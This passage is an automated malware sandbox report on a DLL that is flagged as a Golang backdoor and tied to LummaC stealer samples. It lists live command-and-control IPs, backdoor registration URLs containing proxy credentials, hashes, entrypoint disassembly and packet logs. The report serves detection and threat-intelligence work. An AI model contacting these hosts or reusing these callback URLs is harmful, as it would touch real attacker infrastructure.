http://91.142.74.28	0%	Avira URL Cloud	safe
http://195.2.70.38	0%	Avira URL Cloud	safe
http://91.142.74.28	2%	Virustotal		Browse
http://195.2.70.38	5%	Virustotal		Browse

Name	Malicious	Antivirus Detection	Reputation
http://77.238.229.63/	true	1%, Virustotal, Browse Avira URL Cloud: safe	unknown
http://195.2.70.38/	true	5%, Virustotal, Browse Avira URL Cloud: safe	unknown
http://77.238.250.123/	true	0%, Virustotal, Browse Avira URL Cloud: safe	unknown
http://77.238.224.56/	true	2%, Virustotal, Browse Avira URL Cloud: safe	unknown
http://91.142.74.28/	true	2%, Virustotal, Browse Avira URL Cloud: safe	unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
http://77.238.224.56PM	rundll32.exe, 00000004.00000002.3531810524.000000000CE06000.00000004.00001000.00020000.00000000.sdmp, rundll32.exe, 00000006.00000002.3531650595.000000000DA02000.00000004.00001000.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://77.238.229.6377.238.250.123:80http://91.142.74.28Go-http-client/1.1http://77.238.224.5662.113	rundll32.exe, 00000006.00000002.3526148398.000000000D814000.00000004.00001000.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://195.2.70.38PM	rundll32.exe, 00000003.00000002.3526234876.000000000D4A2000.00000004.00001000.00020000.00000000.sdmp, rundll32.exe, 00000004.00000002.3531810524.000000000CE06000.00000004.00001000.00020000.00000000.sdmp, rundll32.exe, 00000004.00000002.3526511994.000000000CCBE000.00000004.00001000.00020000.00000000.sdmp, rundll32.exe, 00000006.00000002.3531650595.000000000DA02000.00000004.00001000.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://ocsp.entrust.net03	file.dll	false	URL Reputation: safe URL Reputation: safe	unknown
http://ocsp.entrust.net02	file.dll	false	URL Reputation: safe	unknown
http://www.entrust.net/rpa03	file.dll	false	0%, Virustotal, Browse Avira URL Cloud: safe	unknown
http://77.238.229.6377.238.250.123:80P	rundll32.exe, 00000006.00000002.3531650595.000000000DA02000.00000004.00001000.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://77.238.224.56Go-http-client/1.1P	rundll32.exe, 00000003.00000002.3526234876.000000000D4A2000.00000004.00001000.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://77.238.229.6377.238.250.123:80PM	rundll32.exe, 00000003.00000002.3530862948.000000000D604000.00000004.00001000.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://aia.entrust.net/ts1-chain256.cer01	file.dll	false	0%, Virustotal, Browse Avira URL Cloud: safe	unknown
http://91.142.74.28S	rundll32.exe, 00000006.00000002.3529886201.000000000D99A000.00000004.00001000.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://77.238.224.56	rundll32.exe, 00000006.00000002.3526148398.000000000D8F0000.00000004.00001000.00020000.00000000.sdmp	false	2%, Virustotal, Browse Avira URL Cloud: safe	unknown
http://77.238.224.56Go-http-client/1.1X-Content-Type-OptionsTransfer-EncodingP	rundll32.exe, 00000003.00000002.3526234876.000000000D4A2000.00000004.00001000.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://77.238.224.56Go-http-client/1.1PM	rundll32.exe, 00000006.00000002.3529886201.000000000D99A000.00000004.00001000.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://77.238.229.63	rundll32.exe, 00000006.00000002.3526148398.000000000D8F0000.00000004.00001000.00020000.00000000.sdmp	false	1%, Virustotal, Browse Avira URL Cloud: safe	unknown
http://77.238.224.56http://77.238.229.6377.238.250.123:80	rundll32.exe, 00000004.00000002.3526511994.000000000CC12000.00000004.00001000.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://77.238.250.123	rundll32.exe, 00000006.00000002.3526148398.000000000D8F2000.00000004.00001000.00020000.00000000.sdmp, rundll32.exe, 00000006.00000002.3526148398.000000000D8F0000.00000004.00001000.00020000.00000000.sdmp	false	0%, Virustotal, Browse Avira URL Cloud: safe	unknown
http://195.2.70.38Go-http-client/1.1http://91.142.74.28	rundll32.exe, 00000004.00000002.3526511994.000000000CCBE000.00000004.00001000.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://91.142.74.28Go-http-client/1.1http://77.238.229.6377.238.250.123:80	rundll32.exe, 00000004.00000002.3530266889.000000000CD84000.00000004.00001000.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://77.238.229.6377.238.250.123:80Go-http-client/1.1http://77.238.229.6377.238.250.123:80Go-http-	rundll32.exe, 00000003.00000002.3526234876.000000000D408000.00000004.00001000.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://77.238.229.6377.238.250.123:80y	rundll32.exe, 00000003.00000002.3526234876.000000000D408000.00000004.00001000.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://91.142.74.28http://77.238.224.56Go-http-client/1.1http://77.238.229.6377.238.250.123:80Go-htt	rundll32.exe, 00000003.00000002.3530330530.000000000D5C8000.00000004.00001000.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://77.238.250.123http://195.2.70.38	rundll32.exe, 00000006.00000002.3526148398.000000000D8F0000.00000004.00001000.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://77.238.229.6377.238.250.123:80Go-http-client/1.1Transfer-Encoding	rundll32.exe, 00000006.00000002.3526148398.000000000D8BE000.00000004.00001000.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://91.142.74.28http://195.2.70.38P	rundll32.exe, 00000006.00000002.3526148398.000000000D8BE000.00000004.00001000.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://91.142.74.28PM	rundll32.exe, 00000004.00000002.3531810524.000000000CE06000.00000004.00001000.00020000.00000000.sdmp, rundll32.exe, 00000004.00000002.3526511994.000000000CCBE000.00000004.00001000.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://195.2.70.38P	rundll32.exe, 00000003.00000002.3530862948.000000000D604000.00000004.00001000.00020000.00000000.sdmp, rundll32.exe, 00000004.00000002.3530266889.000000000CD84000.00000004.00001000.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://crl.entrust.net/ts1ca.crl0	file.dll	false	0%, Virustotal, Browse Avira URL Cloud: safe	unknown
http://77.238.229.6377.238.250.123:80	rundll32.exe, 00000004.00000002.3526511994.000000000CC12000.00000004.00001000.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://www.entrust.net/rpa0	file.dll	false	0%, Virustotal, Browse Avira URL Cloud: safe	unknown
http://77.238.229.6377.238.250.123:80Go-http-client/1.1http://195.2.70.38Go-http-client/1.1http://77	rundll32.exe, 00000004.00000002.3526511994.000000000CCBE000.00000004.00001000.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://crl.entrust.net/2048ca.crl0	file.dll	false	URL Reputation: safe	unknown
http://77.238.224.56X-Content-Type-OptionsTransfer-EncodingP	rundll32.exe, 00000003.00000002.3526234876.000000000D50C000.00000004.00001000.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://195.2.70.38Go-http-client/1.1Go-http-client/1.1PM	rundll32.exe, 00000003.00000002.3526234876.000000000D4A2000.00000004.00001000.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://195.2.70.38Go-http-client/1.1PM	rundll32.exe, 00000006.00000002.3526148398.000000000D814000.00000004.00001000.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://195.2.70.38Go-http-client/1.1http://91.142.74.28PM	rundll32.exe, 00000003.00000002.3530862948.000000000D604000.00000004.00001000.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://91.142.74.28	rundll32.exe, 00000006.00000002.3526148398.000000000D8F0000.00000004.00001000.00020000.00000000.sdmp	false	2%, Virustotal, Browse Avira URL Cloud: safe	unknown
http://195.2.70.38	rundll32.exe, 00000006.00000002.3526148398.000000000D8F2000.00000004.00001000.00020000.00000000.sdmp, rundll32.exe, 00000006.00000002.3526148398.000000000D814000.00000004.00001000.00020000.00000000.sdmp, rundll32.exe, 00000006.00000002.3526148398.000000000D8BE000.00000004.00001000.00020000.00000000.sdmp, rundll32.exe, 00000006.00000002.3526148398.000000000D8F0000.00000004.00001000.00020000.00000000.sdmp	false	5%, Virustotal, Browse Avira URL Cloud: safe	unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
91.142.74.28	unknown	Russian Federation	48720	VTSL1-ASRU	true
77.238.229.63	unknown	Russian Federation	42429	TELERU-ASRU	true
195.2.70.38	unknown	Russian Federation	48282	VDSINA-ASRU	true
77.238.250.123	unknown	Russian Federation	42429	TELERU-ASRU	true
62.113.116.83	unknown	Russian Federation	48282	VDSINA-ASRU	true
77.238.224.56	unknown	Russian Federation	42429	TELERU-ASRU	true

General Information

Joe Sandbox version:	40.0.0 Tourmaline
Analysis ID:	1474076
Start date and time:	2024-07-16 10:00:48 +02:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 6m 31s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Run name:	Run with higher sleep bypass
Number of analysed new started processes analysed:	12
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	file.dll
Detection:	MAL
Classification:	mal88.troj.evad.winDLL@14/1@0/6
EGA Information:	Failed
HCA Information:	Successful, ratio: 100% Number of executed functions: 0 Number of non-executed functions: 0
Cookbook Comments:	Found application associated with file extension: .dll Sleeps bigger than 100000000ms are automatically reduced to 1000ms

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, WMIADAP.exe, SIHClient.exe, conhost.exe
Excluded domains from analysis (whitelisted): ocsp.digicert.com, slscr.update.microsoft.com, ctldl.windowsupdate.com, fe3cr.delivery.mp.microsoft.com
Execution Graph export aborted for target loaddll32.exe, PID 6864 because there are no executed function
Not all processes where analyzed, report is missing behavior information

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
91.142.74.28	file.dll	Get hash	malicious	Unknown	Browse	91.142.74.28/
	file.dll	Get hash	malicious	Unknown	Browse	91.142.74.28/
	file.dll	Get hash	malicious	Unknown	Browse	91.142.74.28/
	file.dll	Get hash	malicious	Unknown	Browse	91.142.74.28/
	PZjMIa3MvC.exe	Get hash	malicious	GO Backdoor	Browse	91.142.74.28:30001/api/helper-first-register?buildVersion=0mUz.kUJ2O6l&md5=9b5ce04ec39c07546e6e12b6b60a6af0&proxyPassword=G6rdBV3M&proxyUsername=eKoRF4SY&userId=SOwRDeKMFIGrVg10wggRwau6SkfZdWRGfcF02R88sM9JdZmh
	heic.exe	Get hash	malicious	GO Backdoor	Browse	91.142.74.28:30001/api/helper-first-register?buildVersion=0SfI.qXU2qCl&md5=a64beab5d4516beca4c40b25dc0c1cd8&proxyPassword=NSU8Wq2U&proxyUsername=9nDNinxL&userId=mI62iJuWkLVJyhV2
	poration.exe	Get hash	malicious	LummaC, GO Backdoor, LummaC Stealer	Browse	91.142.74.28:30001/api/helper-first-register?buildVersion=03zq.qg826lp&md5=8f590a1aa472160887481c6e2f5f38d8&proxyPassword=QcA2y2Ws&proxyUsername=Sdow5dAF&userId=nWqFhTmNaQbSt2Ihda7aed7vpyuhphsatZmVrHbTykEH19TJ2xgu3Zjq48nS
	o8JAdiyezt.exe	Get hash	malicious	LummaC	Browse	91.142.74.28:30001/api/helper-first-register?buildVersion=0mUz.kUJ2O6l&md5=7ca367a34e36125fa9a9db11d6ca360d&proxyPassword=G6rdBV3M&proxyUsername=eKoRF4SY&userId=SOwRDeKMFIGrVg10wggRwau6SkfZdWRGfcF02R88sM9JdZmh
	4m8RBorBUl.exe	Get hash	malicious	LummaC	Browse	91.142.74.28:30001/api/helper-first-register?buildVersion=0mUz.kUJ2O6l&md5=3e5aa81f88377e3ca36da63dc29a2a89&proxyPassword=G6rdBV3M&proxyUsername=eKoRF4SY&userId=SOwRDeKMFIGrVg10wggRwau6SkfZdWRGfcF02R88sM9JdZmh
77.238.229.63	file.dll	Get hash	malicious	Unknown	Browse	77.238.229.63/
	file.dll	Get hash	malicious	Unknown	Browse	77.238.229.63/
	file.dll	Get hash	malicious	Unknown	Browse	77.238.229.63/
	file.dll	Get hash	malicious	Unknown	Browse	77.238.229.63/
	PZjMIa3MvC.exe	Get hash	malicious	GO Backdoor	Browse	77.238.229.63:30001/api/helper-first-register?buildVersion=0mUz.kUJ2O6l&md5=9b5ce04ec39c07546e6e12b6b60a6af0&proxyPassword=G6rdBV3M&proxyUsername=eKoRF4SY&userId=SOwRDeKMFIGrVg10wggRwau6SkfZdWRGfcF02R88sM9JdZmh
	o8JAdiyezt.exe	Get hash	malicious	LummaC	Browse	77.238.229.63:30001/api/helper-first-register?buildVersion=0mUz.kUJ2O6l&md5=7ca367a34e36125fa9a9db11d6ca360d&proxyPassword=G6rdBV3M&proxyUsername=eKoRF4SY&userId=SOwRDeKMFIGrVg10wggRwau6SkfZdWRGfcF02R88sM9JdZmh
	4m8RBorBUl.exe	Get hash	malicious	LummaC	Browse	77.238.229.63:30001/api/helper-first-register?buildVersion=0mUz.kUJ2O6l&md5=3e5aa81f88377e3ca36da63dc29a2a89&proxyPassword=G6rdBV3M&proxyUsername=eKoRF4SY&userId=SOwRDeKMFIGrVg10wggRwau6SkfZdWRGfcF02R88sM9JdZmh
	q49LB2eQuo.exe	Get hash	malicious	Unknown	Browse	77.238.229.63:30001/api/helper-first-register?buildVersion=0mUz.kUJ2O6l&md5=3e5aa81f88377e3ca36da63dc29a2a89&proxyPassword=G6rdBV3M&proxyUsername=eKoRF4SY&userId=SOwRDeKMFIGrVg10wggRwau6SkfZdWRGfcF02R88sM9JdZmh
	rU53IkLA9a.exe	Get hash	malicious	LummaC	Browse	77.238.229.63:30001/api/helper-first-register?buildVersion=0mUz.kUJ2O6l&md5=168b30717cd1d87c367fb2db2a800bd4&proxyPassword=G6rdBV3M&proxyUsername=eKoRF4SY&userId=SOwRDeKMFIGrVg10wggRwau6SkfZdWRGfcF02R88sM9JdZmh

Domains

⊘No context

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
TELERU-ASRU	file.dll	Get hash	malicious	Unknown	Browse	77.238.224.56
	file.dll	Get hash	malicious	Unknown	Browse	77.238.224.56
	file.dll	Get hash	malicious	Unknown	Browse	77.238.224.56
	file.dll	Get hash	malicious	Unknown	Browse	77.238.224.56
	PZjMIa3MvC.exe	Get hash	malicious	GO Backdoor	Browse	77.238.224.56
	poration.exe	Get hash	malicious	LummaC, GO Backdoor, LummaC Stealer	Browse	77.238.224.56
	o8JAdiyezt.exe	Get hash	malicious	LummaC	Browse	77.238.224.56
	4m8RBorBUl.exe	Get hash	malicious	LummaC	Browse	77.238.224.56
	q49LB2eQuo.exe	Get hash	malicious	Unknown	Browse	77.238.224.56
VTSL1-ASRU	file.dll	Get hash	malicious	Unknown	Browse	91.142.74.28
	file.dll	Get hash	malicious	Unknown	Browse	91.142.74.28
	file.dll	Get hash	malicious	Unknown	Browse	91.142.74.28
	file.dll	Get hash	malicious	Unknown	Browse	91.142.74.28
	PZjMIa3MvC.exe	Get hash	malicious	GO Backdoor	Browse	91.142.73.198
	heic.exe	Get hash	malicious	GO Backdoor	Browse	91.142.74.28
	poration.exe	Get hash	malicious	LummaC, GO Backdoor, LummaC Stealer	Browse	91.142.74.28
	o8JAdiyezt.exe	Get hash	malicious	LummaC	Browse	91.142.74.28
	4m8RBorBUl.exe	Get hash	malicious	LummaC	Browse	91.142.74.28
TELERU-ASRU	file.dll	Get hash	malicious	Unknown	Browse	77.238.224.56
	file.dll	Get hash	malicious	Unknown	Browse	77.238.224.56
	file.dll	Get hash	malicious	Unknown	Browse	77.238.224.56
	file.dll	Get hash	malicious	Unknown	Browse	77.238.224.56
	PZjMIa3MvC.exe	Get hash	malicious	GO Backdoor	Browse	77.238.224.56
	poration.exe	Get hash	malicious	LummaC, GO Backdoor, LummaC Stealer	Browse	77.238.224.56
	o8JAdiyezt.exe	Get hash	malicious	LummaC	Browse	77.238.224.56
	4m8RBorBUl.exe	Get hash	malicious	LummaC	Browse	77.238.224.56
	q49LB2eQuo.exe	Get hash	malicious	Unknown	Browse	77.238.224.56
VDSINA-ASRU	file.dll	Get hash	malicious	Unknown	Browse	195.2.70.38
	file.dll	Get hash	malicious	Unknown	Browse	195.2.70.38
	file.dll	Get hash	malicious	Unknown	Browse	62.113.116.83
	file.dll	Get hash	malicious	Unknown	Browse	94.103.90.9
	mlk3kK6uLZ.exe	Get hash	malicious	Amadey, Mars Stealer, PureLog Stealer, Quasar, RedLine, Stealc, Vidar	Browse	195.2.76.207
	https://bevelia.net/app/	Get hash	malicious	Unknown	Browse	178.208.83.57
	https://bevelia.net/app/	Get hash	malicious	Unknown	Browse	178.208.83.57
	5uKDxM17pT.exe	Get hash	malicious	AveMaria, UACMe	Browse	109.234.38.71
	file.exe	Get hash	malicious	LummaC, Python Stealer, Amadey, Monster Stealer, PureLog Stealer, RedLine, SmokeLoader	Browse	195.2.71.70

Process:	C:\Windows\SysWOW64\rundll32.exe
File Type:	data
Category:	dropped
Size (bytes):	408
Entropy (8bit):	6.26279896972685
Encrypted:	false
SSDEEP:	12:IDuiLTwn+CWv1XCz4LRflv1X9mfiIVG2MflO:IDuiLsn+jRRJ1sfiGyA
MD5:	DA5EBEB636F9C52F66961792F9567771
SHA1:	760161AC5FEB6535EFE1EEAD80C63922D0ECE512
SHA-256:	3E3E064EDE754D2157A27A7873A4E87A5CE2CCA158B8798FC78EF285049F2D8E
SHA-512:	8A967F79700F47C32904B9F10B9F4B02C0F1807F445833E9E65E8E2EE66E0903BDB1DA616F3BE34BA07060B96934DC21E297F5A7524B8022358B587E42EB394A
Malicious:	false
Reputation:	low
Preview:	."....0<.6%...Z^S.1.A.Y.L:>#X 1<W.X.V9.5G)"!\<.M...^...^5..M..PZ..(V...O9<,..;-.S[V.?^P.% .T1Q.LV#F.&W.^2R.>^GP.-_..1W.;.[.1'@_^.T-.)]^.;@..#Q.]7Q.4.B.....Q.(.X.....V..S...A.=.L"?.^V.Y_'.M"].[6..]2.,[.."G4..\..SQ.>5]..!@(.V"'+_...B#QP..:>.....0$0.(/.S.."A5!6L$.'^(..Y.\.MV U[37]. 4[7V.G2.!\2..Q.7.P5..@. ^U..7ZZ8B.]?._....'..P3....VS..\AU..L.).^SQYY#..M.8-[R.]]...["".G)S*\V.TV6--Y...@/X.R.X.[=/.]-.)

Static File Info

General

File type:	PE32 executable (DLL) (GUI) Intel 80386 (stripped to external PDB), for MS Windows
Entropy (8bit):	7.919105308820015
TrID:	Win32 Dynamic Link Library (generic) (1002004/3) 99.60% Generic Win/DOS Executable (2004/3) 0.20% DOS Executable Generic (2002/1) 0.20% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
File name:	file.dll
File size:	11'567'224 bytes
MD5:	bcc606faae89c79eddac6b9512065022
SHA1:	98ddeb6f59827f866b9484f8c5e4a3b980b9419a
SHA256:	2ee236f7b21d860a5fea13a4347425a9cecc67ce16ee17eb34e3eb6a5cb8f4cd
SHA512:	5fcda525a9d67795d7436b60463dd73b12795bb9cd0017f95f78e2fe31a7d18de35127060eabc52659ce94c3ee65e179baea7be2928e84964346f1ddee8b798f
SSDEEP:	196608:IpVebJgj7LWWtYH4cvvYKg4vZvKQ+gwYx4YSTOdwWDMFBtd3SiwiXG7pO6pz:IpVUdW64cvvYGvZvKdxYx4YuOdpDMFBO
TLSH:	B4C633863BC781D2D68618B0A72B13D707F291694DCA89352BCD3946F471FB321BE867
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L..................#...(..N..v...b............N...,l.........................P............@... .....................d...a..

File Icon


Icon Hash:	7ae282899bbab082

Static PE Info

General

Entrypoint:	0x6d0f1799
Entrypoint Section:	.rdata2
Digitally signed:	true
Imagebase:	0x6c2c0000
Subsystem:	windows gui
Image File Characteristics:	EXECUTABLE_IMAGE, LINE_NUMS_STRIPPED, LOCAL_SYMS_STRIPPED, 32BIT_MACHINE, DEBUG_STRIPPED, DLL
DLL Characteristics:	DYNAMIC_BASE, NX_COMPAT, TERMINAL_SERVER_AWARE
Time Stamp:	0x0 [Thu Jan 1 00:00:00 1970 UTC]
TLS Callbacks:	0x6d09eb30, 0x6c7abd60, 0x6c7abd10
CLR (.Net) Version:
OS Version Major:	6
OS Version Minor:	1
File Version Major:	6
File Version Minor:	1
Subsystem Version Major:	6
Subsystem Version Minor:	1
Import Hash:	6c871eb5afcc648e749d578ab8277277

Authenticode Signature

Signature Valid:	false
Signature Issuer:	CN=DigiCert SHA2 Assured ID Code Signing CA, OU=www.digicert.com, O=DigiCert Inc, C=US
Signature Validation Error:	The digital signature of the object did not verify
Error Number:	-2146869232
Not Before, Not After	14/03/2022 00:00:00 15/09/2022 00:25:59
Subject Chain	CN=Nvidia Corporation, OU=IT-MIS, O=Nvidia Corporation, L=Santa Clara, S=California, C=US
Version:	3
Thumbprint MD5:	B081FCF98C7EC6B0C2576BBD98CDD907
Thumbprint SHA-1:	8F5DD157719DC8DBB937959967B0243E6F7AFE19
Thumbprint SHA-256:	404922D80D481198DA6DA973B37054478E2697072F4A9C6A812263FC5FC5959C
Serial:	055100FDBCB3E2F470A627F03FCFE5B8

Entrypoint Preview

Instruction
push ecx
call 00007F21F0FB7A60h
inc ecx
mov esi, 4B30033Dh
inc bx
movzx ecx, byte ptr [ecx+esi-4B30033Dh]
inc ecx
movzx eax, dh
inc ecx
mov bl, byte ptr [ecx+eax*8-000001E6h]
and cl, bl
not cl
dec ecx
bswap esi
inc ecx
movsx edx, si
inc dx
mov dword ptr [eax+ecx-3Bh], ecx
dec eax
cdq
dec edx
dec ebp
mov ebx, dword ptr [ecx+eax*4-000000F2h]
dec ecx
mov ebx, dword ptr [ecx+eax-33h]
mov ecx, eax
inc ecx
mov edi, esi
dec esp
add ebx, ebx
sub eax, EEA1FD94h
dec cl
not cl
dec esi
mov dword ptr [eax+ecx-115E029Fh], ebx
inc ecx
mov ebx, 9A04528Bh
inc ecx
sub dl, dh
inc ecx
movzx edx, word ptr [edi+eax*4-45780AA6h]
cwde
mov ebp, edi
dec ebp
lea ebp, dword ptr [ebx+ebp*8-09DF885Bh]
xor dx, si
neg dx
sar eax, 68h
inc ecx
mov ebx, ebp
adc dx, 59B0h
inc eax
and ch, bl
dec ebp
bt ebx, ebp
call 00007F21F108508Ch
xor ax, 000029B9h
rol cx, FFC3h
mov dword ptr [esp+00h], ecx
adc ax, 0000F4B4h
rol byte ptr [esp+02h], FFFFFFA1h
xor bx, ax
dec cl
mov word ptr [edi], ax
dec dl
pop edx
not dl
mov ecx, dword ptr [ebp-06h]
mov eax, edx
jne 00007F21F1944197h
inc eax

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x104a464	0x61	.rdata2
IMAGE_DIRECTORY_ENTRY_IMPORT	0x1636820	0x3c	.rdata2
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x0	0x0
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0xb05e00	0x2278	.rdata0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x1864000	0x338	.reloc
IMAGE_DIRECTORY_ENTRY_DEBUG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0xe098e0	0x18	.rdata2
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0xd5d000	0x10	.rdata1
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
.text	0x1000	0x4ec4a8	0x0	d41d8cd98f00b204e9800998ecf8427e	unknown	unknown	unknown	unknown	IMAGE_SCN_CNT_CODE, IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
.data	0x4ee000	0x2cf6c	0x0	d41d8cd98f00b204e9800998ecf8427e	False	0	empty	0.0	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.rdata	0x51b000	0x2ae2d4	0x0	d41d8cd98f00b204e9800998ecf8427e	unknown	unknown	unknown	unknown	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.bss	0x7ca000	0x36090	0x0	d41d8cd98f00b204e9800998ecf8427e	False	0	empty	0.0	IMAGE_SCN_CNT_UNINITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.edata	0x801000	0x61	0x0	d41d8cd98f00b204e9800998ecf8427e	False	0	empty	0.0	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.idata	0x802000	0x9c0	0x0	d41d8cd98f00b204e9800998ecf8427e	False	0	empty	0.0	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.CRT	0x803000	0x2c	0x0	d41d8cd98f00b204e9800998ecf8427e	False	0	empty	0.0	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.tls	0x804000	0x8	0x0	d41d8cd98f00b204e9800998ecf8427e	False	0	empty	0.0	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.rdata0	0x805000	0x557efa	0x0	d41d8cd98f00b204e9800998ecf8427e	unknown	unknown	unknown	unknown	IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
.rdata1	0xd5d000	0x2c	0x200	67604db23af61ed397ba55c7a792aa53	False	0.044921875	data	0.15908382530476972	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.rdata2	0xd5e000	0xb05310	0xb05400	a8cf5dff2752625951706c910bde0f3e	unknown	unknown	unknown	unknown	IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
.reloc	0x1864000	0x338	0x400	905f35a6dd90dba9786fd5cc352e2691	False	0.474609375	data	3.7495568409455093	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_READ

Imports

DLL	Import
KERNEL32.dll	AddVectoredExceptionHandler
msvcrt.dll	__mb_cur_max

Exports

Name	Ordinal	Address
MainFunc	1	0x6c7a6460
_cgo_dummy_export	2	0x6cabf64c

Network Behavior

Download Network PCAP: filtered – full

Snort IDS Alerts

Timestamp	Protocol	SID	Message	Source Port	Dest Port	Source IP	Dest IP
07/16/24-09:53:35.439965	TCP	2855539	ETPRO TROJAN Unknown Golang Backdoor CnC Server Response M2	30865	49711	91.142.73.198	192.168.2.7
07/16/24-09:54:05.158445	TCP	2855538	ETPRO TROJAN Unknown Golang Backdoor CnC Server Response M1	30865	49711	91.142.73.198	192.168.2.7
07/16/24-09:54:04.943082	TCP	2855537	ETPRO TROJAN Unknown Golang Backdoor CnC Client Request M2	49711	30865	192.168.2.7	91.142.73.198
07/16/24-09:53:35.476708	TCP	2855536	ETPRO TROJAN Unknown Golang Backdoor CnC Client Request M1	49711	30865	192.168.2.7	91.142.73.198

Network Port Distribution

Total Packets: 347
• 15497 undefined
• 80 (HTTP)

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jul 16, 2024 10:01:42.346412897 CEST	49732	80	192.168.2.4	195.2.70.38
Jul 16, 2024 10:01:42.351692915 CEST	80	49732	195.2.70.38	192.168.2.4
Jul 16, 2024 10:01:42.351785898 CEST	49732	80	192.168.2.4	195.2.70.38
Jul 16, 2024 10:01:42.352175951 CEST	49732	80	192.168.2.4	195.2.70.38
Jul 16, 2024 10:01:42.357645988 CEST	80	49732	195.2.70.38	192.168.2.4
Jul 16, 2024 10:01:44.088896036 CEST	80	49732	195.2.70.38	192.168.2.4
Jul 16, 2024 10:01:44.089257956 CEST	49732	80	192.168.2.4	195.2.70.38
Jul 16, 2024 10:01:44.094125986 CEST	49732	80	192.168.2.4	195.2.70.38
Jul 16, 2024 10:01:44.094866037 CEST	49733	80	192.168.2.4	91.142.74.28
Jul 16, 2024 10:01:44.099214077 CEST	80	49732	195.2.70.38	192.168.2.4
Jul 16, 2024 10:01:44.099788904 CEST	80	49733	91.142.74.28	192.168.2.4
Jul 16, 2024 10:01:44.099854946 CEST	49733	80	192.168.2.4	91.142.74.28
Jul 16, 2024 10:01:44.100970984 CEST	49733	80	192.168.2.4	91.142.74.28
